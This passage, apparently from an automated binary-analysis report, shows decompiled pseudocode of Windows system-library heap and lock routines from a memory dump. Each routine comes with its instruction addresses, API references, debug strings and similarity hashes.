										_t252 = E6A9A2E14( *( *((intOrPtr*)(_t317 - 0x20)) + 0x10), _t315,  *((intOrPtr*)(_t317 - 0x38)),  *((intOrPtr*)(_t317 - 0x2c)),  *(_t317 - 0x40),  *(_t317 - 0x24),  *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)));
									}
									 *(_t317 - 4) = 0xfffffffe;
									E6A913E6B(_t252);
									_t230 = E6A913E80( *((intOrPtr*)(_t317 - 0x64)));
									goto L26;
								}
							}
						}
						__eflags = _t286 & 0x00000010;
						if((_t286 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t315 + 0x1c);
					if( *(_t315 + 0x1c) != 0) {
						__eflags =  *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c);
						if( *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x6a913aca
0x6a913acf
0x6a913ad4
0x6a913ad9
0x6a913adb
0x6a913ae0
0x6a913ae3
0x6a913ae5
0x6a913ae8
0x6a913aeb
0x6a913aed
0x6a913af5
0x6a913af8
0x6a913afb
0x6a913afe
0x6a913b05
0x6a913b0a
0x6a913b0d
0x00000000
0x6a913b10
0x6a913b15
0x6a913b1a
0x6a913b21
0x6a913b30
0x6a913b30
0x6a913b33
0x6a913b33
0x6a913b36
0x6a913b39
0x6a913b3f
0x6a913b47
0x6a913b4a
0x6a913b4a
0x6a913b4f
0x6a913b4f
0x6a913b4f
0x6a913b4f
0x6a913b4f
0x6a913b54
0x6a913b5c
0x6a913b61
0x6a913b67
0x6a913b6f
0x6a913b6f
0x6a913b71
0x6a913b75
0x6a913b77
0x00000000
0x00000000
0x6a913e6c
0x6a913e6c
0x6a913b7d
0x6a913b7d
0x6a913b82
0x6a913b84
0x6a913b87
0x6a913b8a
0x6a913b8d
0x6a913b90
0x6a913b90
0x6a913b97
0x6a913b97
0x6a913ba7
0x6a913baa
0x6a913bad
0x6a913bad
0x6a913bb7
0x6a913bb7
0x6a913bbc
0x6a913bbf
0x6a913bc1
0x6a913bc7
0x6a913bcd
0x6a913bd5
0x6a913bd8
0x6a913bda
0x6a913be1
0x6a913be4
0x6a913be7
0x6a913bea
0x6a913bed
0x6a913d97
0x6a913d9c
0x6a913da8
0x6a913dad
0x6a913db0
0x6a913db2
0x6a913db5
0x6a97020b
0x6a970211
0x6a970213
0x6a970213
0x6a913dbb
0x00000000
0x6a913dbb
0x6a913bf3
0x6a913bf5
0x00000000
0x00000000
0x6a913bfb
0x6a913bfe
0x6a913bfe
0x6a913bfe
0x6a913c02
0x6a913dd1
0x6a913dd1
0x6a913dd7
0x6a9700c1
0x6a9700c4
0x6a913c11
0x6a913c11
0x6a913c14
0x6a9700cf
0x6a9700d2
0x00000000
0x00000000
0x6a9700d8
0x6a9700e6
0x6a9700e9
0x6a9700ec
0x6a9700ef
0x00000000
0x00000000
0x00000000
0x6a9700f5
0x6a9700dd
0x6a9700e0
0x00000000
0x00000000
0x00000000
0x6a9700e0
0x6a913c1a
0x6a913c1a
0x6a913c1d
0x6a913e20
0x6a913e23
0x00000000
0x00000000
0x00000000
0x6a913e29
0x6a913c23
0x6a913c23
0x6a913c26
0x6a913c2c
0x6a913c2f
0x6a913c35
0x6a913c3b
0x6a913c41
0x6a913c47
0x6a913c4d
0x6a913c59
0x6a913c5f
0x6a913c62
0x6a913c68
0x6a913c6a
0x6a913c6d
0x6a913c74
0x6a913c79
0x6a913c7b
0x6a913c7e
0x6a913c80
0x6a913c83
0x6a913c89
0x6a913c8b
0x6a913dea
0x6a913df1
0x6a913df2
0x6a913df5
0x6a913df8
0x6a913dfb
0x6a913dfd
0x00000000
0x00000000
0x6a913e03
0x6a913e07
0x6a913e42
0x6a913e49
0x6a913e4a
0x6a913e4d
0x00000000
0x6a913e4d
0x6a913e09
0x6a913d86
0x6a913d89
0x6a913d8c
0x6a913d8e
0x6a913e31
0x6a913e31
0x6a913d94
0x00000000
0x6a913d94
0x6a913c91
0x6a913c91
0x6a913c94
0x6a913d23
0x6a913d23
0x6a913d27
0x6a913e16
0x6a913e16
0x6a913d2d
0x6a913d31
0x6a9701fe
0x6a9701fe
0x6a913d84
0x6a913d84
0x00000000
0x6a913d84
0x6a913d3d
0x6a913d44
0x6a913d45
0x6a913d48
0x6a913d4f
0x6a9701de
0x6a9701de
0x6a9701e2
0x00000000
0x00000000
0x6a9701ea
0x6a9701ea
0x6a9701eb
0x6a9701f9
0x00000000
0x6a9701f9
0x6a913d55
0x6a913d5c
0x00000000
0x00000000
0x6a913d62
0x6a913d66
0x6a913e55
0x6a913e5e
0x6a913e60
0x00000000
0x00000000
0x6a913d75
0x6a913d75
0x6a913d79
0x6a913d7b
0x6a913d7e
0x6a9701c7
0x6a9701ca
0x6a9701cd
0x6a9701d0
0x6a9701d3
0x6a9701d6
0x6a9701d6
0x6a913d7e
0x00000000
0x6a913d79
0x6a913d6c
0x6a913d72
0x00000000
0x6a913d72
0x6a913c9d
0x6a913ca0
0x6a913cab
0x6a913cae
0x6a913cb1
0x6a913cb5
0x6a913cb7
0x6a913cd2
0x6a913cdb
0x6a913cdb
0x6a913cde
0x6a913ce1
0x6a913ce3
0x6a9700fa
0x6a9700fd
0x00000000
0x00000000
0x6a970103
0x6a970107
0x6a970113
0x6a970125
0x6a97012b
0x6a97012e
0x6a970131
0x00000000
0x6a970131
0x6a970109
0x6a97010d
0x00000000
0x00000000
0x00000000
0x6a913ce9
0x6a913ce9
0x6a913ce9
0x6a913cee
0x6a970139
0x6a970149
0x6a97014f
0x6a97014f
0x6a913cf4
0x6a913cf9
0x6a913cfb
0x6a970160
0x6a913d01
0x6a913d01
0x6a913d01
0x6a913d06
0x6a913d09
0x6a970184
0x6a970184
0x6a913d0f
0x6a913d16
0x6a913d1e
0x00000000
0x6a913d1e
0x6a913ce3
0x6a9700ca
0x6a913ddd
0x6a913de0
0x00000000
0x00000000
0x00000000
0x6a913de2
0x6a913c08
0x6a913c0b
0x6a913dc9
0x6a913dcb
0x00000000
0x00000000
0x00000000
0x6a913dcb
0x00000000
0x6a913c0b

APIs

RtlAcquireSRWLockExclusive.1105(00000000,6A9EF4D0,00000084,6A913A18,00000000,?,?), ref: 6A913B05
RtlReleaseSRWLockExclusive.1105(?,?,00000000,6A9EF4D0,00000084,6A913A18,00000000,?,?), ref: 6A913B1A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,6A9EF4D0,00000084,6A913A18,00000000,?,?), ref: 6A913C74

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 5dcf9acb97bde1ea620fa3150fc36f7dab7a2872d4f7e7535193199d2e86621c
Instruction ID: 789dbb26d6d3889c05c45313123ff7eeb2a3fc224c6c4c152e5bfff5e7a3e506
Opcode Fuzzy Hash: 5dcf9acb97bde1ea620fa3150fc36f7dab7a2872d4f7e7535193199d2e86621c
Instruction Fuzzy Hash: 3AE1FF74E04618DFCBA5CFA9C984A9EFBF5BF48304F21456AE856A7261DB31E841CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6A94AC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6A94AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x9
					E6A96D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0x6aa08a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1018
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x21
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E6A9596E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E6A9C3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E6A9596E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E6A91B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E6A9D14FB(_t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E6A937D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E6A9D1411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E6A937D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E6A9D1411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x6a94ac85
0x6a94ac88
0x6a94ac8a
0x6a94ac8d
0x6a94ac91
0x6a94ac99
0x6a94ac9c
0x6a989f57
0x6a989f5b
0x6a989f60
0x6a989f60
0x6a94aca8
0x6a94acae
0x6a94acda
0x6a94acde
0x6a94ace8
0x6a94aceb
0x6a94acee
0x00000000
0x6a94acee
0x6a94acf6
0x6a94acb0
0x6a94acb0
0x6a94acbb
0x6a94acbd
0x6a94acc0
0x6a94acc5
0x6a94adae
0x6a94adb4
0x6a94adb4
0x6a94acd4
0x6a94acd8
0x6a94acf9
0x6a94acff
0x6a94ad04
0x6a94ad08
0x6a94ad09
0x6a94ad10
0x6a94ad12
0x6a94ad18
0x6a989f6f
0x6a989f74
0x6a989f76
0x6a989f7c
0x6a989f84
0x6a989f88
0x6a989f89
0x6a989f90
0x6a989f90
0x6a989f76
0x6a94ad1e
0x6a94ad24
0x6a94ad26
0x6a98a097
0x6a98a09b
0x6a98a0ba
0x6a98a0bf
0x6a98a09d
0x6a98a0b2
0x6a98a0b7
0x6a98a0c5
0x6a98a0c8
0x6a98a0cb
0x6a98a0d2
0x00000000
0x6a94ad2c
0x6a94ad2c
0x6a94ad2f
0x6a94ad34
0x6a94ad36
0x6a989f97
0x6a989f9a
0x00000000
0x00000000
0x6a989fa9
0x6a94ad3e
0x6a94ad3e
0x6a94ad41
0x6a989fb3
0x6a989fb9
0x6a989fc0
0x6a989fd0
0x6a989fd0
0x6a989fc0
0x6a94ad4a
0x6a94ad50
0x6a94ad5c
0x6a94ad62
0x6a94ad68
0x6a94ad6b
0x6a94ad6d
0x6a989fda
0x6a989fdd
0x00000000
0x00000000
0x6a989fec
0x00000000
0x6a94ad73
0x6a94ad73
0x6a94ad73
0x6a94ad75
0x6a94ad75
0x6a94ad78
0x6a989ff6
0x6a989ffc
0x6a98a003
0x6a98a00e
0x6a98a010
0x6a98a01b
0x6a98a01b
0x6a98a01b
0x6a98a038
0x6a98a038
0x6a98a003
0x6a94ad84
0x6a94ad89
0x6a94ad8c
0x6a94ad8e
0x6a98a042
0x6a98a045
0x00000000
0x00000000
0x6a98a054
0x00000000
0x6a94ad94
0x6a94ad94
0x6a94ad94
0x6a94ad96
0x6a94ad96
0x6a94ad99
0x6a98a063
0x6a98a065
0x6a98a070
0x6a98a070
0x6a98a070
0x6a98a08d
0x6a98a08d
0x6a94ada4
0x6a94ada6
0x00000000
0x6a94ada6
0x6a94ad8e
0x6a94ad6d
0x6a94ad3c
0x6a94ad3c
0x00000000
0x6a94ad3c
0x00000000
0x00000000
0x00000000
0x6a94acd8

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6A94AD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6A989F5B

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6A98A0CD
HEAP: , xrefs: 6A98A0BA
HEAP[%wZ]: , xrefs: 6A98A0AD

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: 41fb18cb21de11dd9239fae59c5a3449055db5fa3b61b10b8ca0cad23e80245d
Instruction ID: 5c2b4299cedc1b735f7c5748c2ab25d16231828e22ab8a6c17b3774b146940a7
Opcode Fuzzy Hash: 41fb18cb21de11dd9239fae59c5a3449055db5fa3b61b10b8ca0cad23e80245d
Instruction Fuzzy Hash: FF81D671244A84EFD726CB68C894B99BBF8FF05314F2145B5E56187B92DB74E940CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6A91395E, Relevance: 19.7, APIs: 13, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6A91395E(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t67;
				void* _t77;
				intOrPtr* _t81;
				signed int _t93;
				void* _t94;
				intOrPtr* _t97;
				intOrPtr* _t104;
				void* _t112;
				long _t113;
				signed int _t114;
				void* _t123;

				_v8 =  *0x6aa0d360 ^ _t114;
				_v16 = __edx;
				_t93 = 0;
				_t112 = __ecx;
				_v12 = _v12 & 0;
				E6A93FAD0( *0x6aa084cc + 4);
				_t110 =  *0x6aa084cc + 8;
				_t97 =  *_t110;
				while(_t97 != _t110) {
					_t113 = _t97 - 0x1c;
					_t67 =  *((intOrPtr*)(_t112 + 0xc));
					if( *((intOrPtr*)(_t113 + 0x10)) !=  *((intOrPtr*)(_t112 + 8)) ||  *((intOrPtr*)(_t113 + 0x14)) != _t67 ||  *((intOrPtr*)(_t113 + 8)) !=  *_t112) {
						L21:
						_t97 =  *_t97;
						continue;
					} else {
						_t69 =  *((intOrPtr*)(_t113 + 0xc));
						if( *((intOrPtr*)(_t113 + 0xc)) !=  *((intOrPtr*)(_t112 + 4))) {
							goto L21;
						}
						_t94 = _t113 + 0x28;
						E6A932280(_t69, _t94);
						if( *(_t113 + 0x5c) == 2) {
							__eflags = _v16;
							if(_v16 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t113 + 0x58));
								 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
								 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & 0x00000000;
								L8:
								asm("lock inc dword [esi+0x50]");
								 *(_t113 + 0x5c) = 1;
								E6A92FFB0(_t94, _t112, _t94);
								_t123 =  *0x6aa084cc + 4;
								E6A93FA00(_t94, _t97, _t112,  *0x6aa084cc + 4);
								while(1) {
									_t95 = 0;
									_t77 = E6A913ACA(0, _t112, _t113, _t112, _t113, _t123, 0);
									_t124 = _t77 - 0xc000022d;
									if(_t77 == 0xc000022d) {
										_t95 = 0xc000022d;
									}
									_t110 = _t113;
									if(E6A913ACA(_t95, _t112, _t113, _t112, _t113, _t124, 1) == 0xc000022d) {
										_t93 = 0xc000022d;
									}
									E6A932280(_t113 + 0x28, _t113 + 0x28);
									_v12 = _v12 + 1;
									_t104 = _t113 + 0x2c;
									_t81 =  *_t104;
									while(_t81 != _t104) {
										 *(_t81 + 0x60) =  *(_t81 + 0x60) & 0x00000000;
										_t81 =  *_t81;
									}
									if( *(_t113 + 0x58) != 0) {
										_t112 =  *(_t113 + 0x58);
										 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
										E6A92FFB0(_t93, _t112, _t113 + 0x28);
										continue;
									}
									if(_t93 != 0) {
										__eflags = _t93 - 0xc000022d;
										if(_t93 == 0xc000022d) {
											 *(_t113 + 0x58) = _t112;
											 *(_t113 + 0x5c) = 2;
											E6A9A2DA1(_t113);
										}
										L17:
										E6A92FFB0(_t93, _t112, _t113 + 0x28);
										E6A94DE9E(_t113);
										L18:
										if(_v12 > 1) {
											_t113 = 0;
											_t49 = _t112 + 8; // 0x8
											_push(0);
											_push(0);
											_push(_t93);
											_push( *((intOrPtr*)(_t112 + 0x18)));
											_push(_t112);
											E6A95A3A0();
											__eflags = _t93;
											if(_t93 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t112);
											}
											_t93 = 0x80;
										}
										return E6A95B640(_t93, _t93, _v8 ^ _t114, _t110, _t112, _t113);
									}
									 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & _t93;
									if( *((intOrPtr*)(_t113 + 0x18)) != _t93) {
										__eflags =  *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18));
										if( *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18)) > 0) {
											goto L16;
										}
										goto L17;
									}
									L16:
									 *((intOrPtr*)(_t113 + 0x18)) =  *((intOrPtr*)(_t112 + 0x10));
									goto L17;
								}
							}
							_push(_t94);
							L27:
							E6A92FFB0(_t94, _t112);
							_t93 = 0x80;
							break;
						}
						if( *(_t113 + 0x5c) == 1) {
							__eflags = _v16;
							_push(_t94);
							if(_v16 != 0) {
								goto L27;
							}
							 *(_t113 + 0x58) = _t112;
							E6A92FFB0(_t94, _t112);
							_t93 = 0x103;
							break;
						}
						goto L8;
					}
				}
				E6A93FA00(_t93, _t97, _t112,  *0x6aa084cc + 4);
				goto L18;
			}

0x6a91396d
0x6a91397b
0x6a91397e
0x6a913980
0x6a913982
0x6a913986
0x6a913991
0x6a913994
0x6a913996
0x6a9139a1
0x6a9139a7
0x6a9139aa
0x6a913aa7
0x6a913aa7
0x00000000
0x6a9139c4
0x6a9139c4
0x6a9139ca
0x00000000
0x00000000
0x6a9139d0
0x6a9139d4
0x6a9139dd
0x6a96fffc
0x6a970000
0x6a970020
0x6a970025
0x6a970029
0x6a9139ed
0x6a9139ed
0x6a9139f2
0x6a9139f9
0x6a913a03
0x6a913a07
0x6a913a0c
0x6a913a0c
0x6a913a13
0x6a913a1d
0x6a913a1f
0x6a97004b
0x6a97004b
0x6a913a27
0x6a913a37
0x6a970052
0x6a970052
0x6a913a41
0x6a913a46
0x6a913a49
0x6a913a4c
0x6a913a4e
0x6a913a9f
0x6a913aa3
0x6a913aa3
0x6a913a56
0x6a970059
0x6a97005f
0x6a970064
0x00000000
0x6a970064
0x6a913a5e
0x6a970073
0x6a970075
0x6a97007d
0x6a970080
0x6a970087
0x6a970087
0x6a913a72
0x6a913a76
0x6a913a7d
0x6a913a82
0x6a913a86
0x6a970091
0x6a970093
0x6a970096
0x6a970097
0x6a970098
0x6a970099
0x6a97009c
0x6a97009e
0x6a9700a3
0x6a9700a5
0x6a9700b2
0x6a9700b2
0x6a9700b7
0x6a9700b7
0x6a913a9e
0x6a913a9e
0x6a913a64
0x6a913a6a
0x6a913ac4
0x6a913ac6
0x00000000
0x00000000
0x00000000
0x6a913ac8
0x6a913a6c
0x6a913a6f
0x00000000
0x6a913a6f
0x6a913a0c
0x6a970002
0x6a970003
0x6a970003
0x6a970008
0x00000000
0x6a970008
0x6a9139e7
0x6a970032
0x6a970036
0x6a970037
0x00000000
0x00000000
0x6a970039
0x6a97003c
0x6a970041
0x00000000
0x6a970041
0x00000000
0x6a9139e7
0x6a9139aa
0x6a913ab7
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6A913986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6A9139D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6A9139F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6A913A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6A913A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6A913A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6A913AB7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 1b982a6d7a91beeb91aa326bb08308e602a26e163679d22547c6587b676f5aba
Instruction ID: 96fd7a157d73d49587856816ee72437b569d238e432d4db74e999be48b0c37fa
Opcode Fuzzy Hash: 1b982a6d7a91beeb91aa326bb08308e602a26e163679d22547c6587b676f5aba
Instruction Fuzzy Hash: 47519971604709AFDB60CB69C8C8A6BB7B8BF4531DF21882DD11687A11DF75E845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A93A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E6A93A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x6aa08748 - 1;
					if( *0x6aa08748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
									_t260 = _t257 + 4;
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E6A91B150();
								_t257 = _t260 + 4;
								__eflags =  *0x6aa07bc8;
								if(__eflags == 0) {
									E6A9D2073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E6A9DA80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E6A96D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
